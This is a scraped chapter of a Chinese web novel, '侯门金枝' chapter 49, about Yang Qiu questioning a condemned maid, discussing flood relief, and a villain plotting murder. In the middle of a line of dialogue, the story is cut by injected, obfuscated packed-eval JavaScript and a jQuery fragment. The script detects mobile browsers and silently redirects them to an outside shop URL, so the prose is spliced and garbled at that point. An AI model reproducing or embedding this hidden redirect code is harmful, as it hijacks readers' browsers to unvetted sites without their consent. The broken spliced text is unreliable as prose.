文趣网 > 都市小说 > 侯门金枝 > 49. 第 49 章
    杨湫听得入神,情不自禁地握紧了拳头:“那后来呢?”

    红药脸上充满了对过往幸福的追忆:“后来呀?后来我们被勾栏的打手追着跑,实在走投无路了,就一起投河。”

    杨湫瞪大了眼睛,愕然地看着红药。

    “老天不让我死啊,我们被人捞上了岸。夫人救了我,留我在身边当丫鬟,九郎就在外头洒扫。”

    “夫人替我起了新名字,说从此就能抛下过去,重新开始。”红药屈膝,伸出双臂抱住自己。

    “原来如此,你们的事,我明白了。”杨湫垂下头,十分惋惜地道。

    “三小姐,既然来看我,总不会只有这一件事想问的吧?”红药说道。

    “红药姑娘。”杨湫轻轻开口:“你想报仇吗?”

    红药愣了一下,忽然爆发出一阵大笑,眼泪顺势滑落:“报仇?我有什么仇可以报呀。三小姐。”

    “害死初九的人。”杨湫面不改色,手心里却满是冷汗:“红药姑娘,你当真能做到问心无愧?”

    “我为何有愧?”红药喃喃道。

    “你愧对的不是初九,也不是你的主子。”杨湫深吸一口气,坚定地盯着红药的眼睛:“你当年为了不再受人摆布出逃,如今却被你的主子利用,成为工具,甚至你的性命他也丝毫不顾。”

    “可那又怎么样?主人有恩于我,你怎么会明白?”红药怒吼一声,眼泪不断涌出:“你怎么会懂!”

    “他对你的恩情,值得你用一辈子去赔吗?”杨湫说得决绝:“他对你有多大的恩情,你需要为他杀人放火,为他沾满鲜血。可是你的主子呢?”

    “你和初九不过是一颗随时能够抛弃的棋子,初九死了,他死了,甚至是被灭口的。”

    杨湫一口气说完,声音开始颤抖:“红药,你愧对的分明是当初的自己。”

    红药哂笑起来,似乎不愿再多言。

    杨湫站起身,缓缓走出了牢房,又回头瞧了一眼:“如今尘埃落定,你终究逃不出死路一条,值得吗?”

    “无所谓。”红药耸耸肩,伸手抹掉了泪花:“什么值不值,我的命没有那么值钱。”

    “是吗?”杨湫只淡淡地说道:“也许在某个人眼里,重逾千金。”

    红药不为所动,甚至闭上了眼。

    “这条汗巾他一直带在身上,从不离身。这样粗浅的针脚,他却十分看重。”

    杨湫叹息一声:“这样东西应该当做物证封存,不过,我想初九也希望东西能交给你保管吧,红药姑娘。”

    “后会无期。来日若有缘分,我自当替你在佛前上一炷香,愿你往生极乐。”

    “站住!”红药喊住了杨湫:“九郎,到底是怎么死的。”

    半个时辰后。

    杨湫踏出死牢的门槛,脚步十分沉重。

    红药又哭又笑,满脸泪痕,不知是悔恨还是悲伤。

    “情况如何?她没有伤到你吧?”赵瑾一直等候在死牢之外,见杨湫出现,立刻迎了上去。

    “没有,她并非那种人。”杨湫说完,忍不住扼腕叹息:“我知道幕后主使是谁了。”

    “是他?”赵瑾心里也有了一个答案,却是难以置信:“为何?”

    “人心总是易变的,谁能说得准。”杨湫摇摇头,声音沉了下去:“还不到时候。”

    一阵夜风吹散了河洛的春花,在满城落花之中,一轮红日静静挂在天边。

    “关于之后如何修缮堤坝,微臣已经有了想法。”

    府衙的书房内,陈骊案上正铺开一张图纸,正是重新设计的加固方案。

    “光凭那些河工,贯通仍需许多时日,眼下是春耕的重要时节,应当尽快恢复。”陈骊眼下虽有淡淡青黑,却是精神饱满:“微臣已经想好了,召集那些流民,以工代赈。”

    “以工代赈?”杨湫重复了一遍,不由得会心一笑:“一来解决了人手的问题,二来这也避□□民落草为寇,对河洛治安形成威胁。”

    “正是如此。”陈骊‘哈哈’笑了起来,随即又有些怅然:“先前流民集结,被有心人煽动抢劫州府,唉——”

    “是城楼上被吊起示众的那些人?”杨湫皱起眉头,神情写满了不忿:“这些人真是可恶至极,自己不敢出头,反而去祸害那些流离失所的百姓!”

    “唉,当时侯爷执意如此,我也没办法。”陈骊再度叹了口气。

    “定陵侯下令的?”赵瑾听完,心里‘咯噔’一声,连忙追问道:“他们犯了什么罪,要如此严惩?”

    “侯爷说是冲击朝廷赈灾粥棚,罪同谋反。再加上前日溃堤,民怨沸腾,这才不得已向朝廷请求起兵镇压。”

    陈骊说到此处,对侯爷亦是颇有微词:“侯爷也是忒心急,流民不过求一顿饱饭,何苦如此呢?”

    赵瑾正欲冷笑,想起杨湫在这,又硬生生压了下去,熟料杨湫听完,却是发出一声哂笑。

    “三小姐,您这是?”陈骊大感惊异,暗自思索这父女俩是唱哪一出戏。

    “陈大人见谅。家父行事不妥之处,我也无颜求您谅解。”杨湫怒极反笑。

    “静梧。”赵瑾唤了一声,看着陈骊的目光有些歉疚:“只是气话而已,陈大人不必放在心上。”

    “赈灾的事情告一段落,接下来是否该算总账了?”杨湫忽然说道。

    “不错,方湜犯下的这些罪行,早该公之于众!只是这样做——”陈骊犹豫地看着杨湫:“会不会连累令尊?”

    “人总要为了自己做下的事付出代价,陈大人。”杨湫冷笑着道。

    赵瑾暗自叹了口气:“侯爷的失职之罪我们也不会隐瞒,不过念在侯爷自请赈灾,又感染瘟疫险些丧命,陛下兴许会酌情宽宥。”

    “殿下说的也是,这原本也不是微臣该关心的。”陈骊忍不住试探道:“殿下,三小姐,侯爷这病如何了?”

    “这——”赵瑾忽然长叹一声:“毫无起色。”

    “三小姐医术绝伦,竟然也毫无办法?”陈骊惊讶道。

    杨湫十分沉痛地点点头:“多谢陈大人关怀,家父的确——”

    “河洛也有不少名医,若是需要,微臣可代为引荐。希

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17524829|203441||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    望侯爷能早日康复。”陈骊不免十分关切起来。

    “多谢好意,大人还要处置河洛军政事务,杨湫不欲您再费心费力。”杨湫露出恰到好处的感激,向陈骊一福身。

    “三小姐何必客气。侯爷一颗心到底也是装着百姓,奈何方湜等小人陷害,才落到如此境地。”陈骊感慨道。

    杨湫浅浅一笑:“我们就不打扰陈大人,先行告辞了。”

    “殿下,三小姐。”刚回到驿馆,赵瑾身边的亲卫便来禀报:“昨日三小姐说要找的那个人,找到了。”

    “看好他,不要走露风声。”杨湫呼出一口气,忽然问了一句:“方湜如今,还坐得住吗?”

    “看你安然无恙,想必是坐不住。”赵瑾淡淡道。

    “也是到了该收网的时候,我们便请这位方通判好好聊聊吧?”杨湫面上浮现出一丝冷笑:“他要抓,另一个藏在后面的,也不能放过。”

    方家祖宅。

    “什么?杨湫安然无恙?”方湜听到手下的汇报,将手里的茶盏砸的四分五裂。

    师爷倒是气定神闲,仿佛早有预料一般。

    “你不是说,要用劳什子瘟疫了结那个小丫头?”方湜冷笑起来,对着师爷怒目而视:“这就是你说的兵不血刃?天衣无缝?”

    师爷垂下头,并不言语。方湜心烦意乱,对着手下一叠声地说滚。

    “大人不必忧心。事到如今,还有釜底抽薪一招。”师爷眼神中闪过一丝狠厉的光:“当日定陵侯不就是被咱们用这种方法逼退的吗?”

    “你说得轻巧。康王又不是定陵侯那个胆小懦弱的家伙。”方湜一拂袖,满面怒容:“再来一次流民暴动,他们是带着朝廷的军队来的!”

    师爷默不作声,只是任由方湜发泄心中的不满:“陈骊那个匹夫,搞出来什么以工代赈,又掌握了全境米粮,商会名下的商铺赚不到一分钱!

    还有定陵侯那个首鼠两端的小人!说好我与他合作,让了三成利他还不满足,竟然转头就和陈骊合谋,想把我一网打尽,他们两个私吞方家的财产?

    从京城千里迢迢要卖他自己的赈灾粮不说,一口汤都不想分给我,姓杨的真是混账!”

    等到方湜骂够了,师爷才悠悠开口:“大人,若是您说的这些知情人都死了呢?”

    “你在说什么疯话?朝廷命官暴毙,谁能善罢甘休?更何况还有一个康王在那虎视眈眈。”方湜诧异地看着师爷。

    师爷走近方湜,在他耳边压低声音:“大人细想,只要您能笼络住康王,何须在意陈骊与定陵侯的威胁?”

    “此话当真?我看康王没那么好笼络,方浩那个蠢货用夺嫡来利诱,不还是失败了?”方湜十分怀疑。

    师爷却是一副胜券在握的模样:“康王或许不在乎夺嫡一事。却十分在乎杨三小姐。”

    “大人忘记了?杨三小姐失踪那两个时辰,康王亲自寻人,只怕这二人关系不浅。”

    师爷不疾不徐说道:“只要我们承诺不揭发定陵侯,保住杨家的名声,康王会不会看在三小姐的面子上,放您一马?”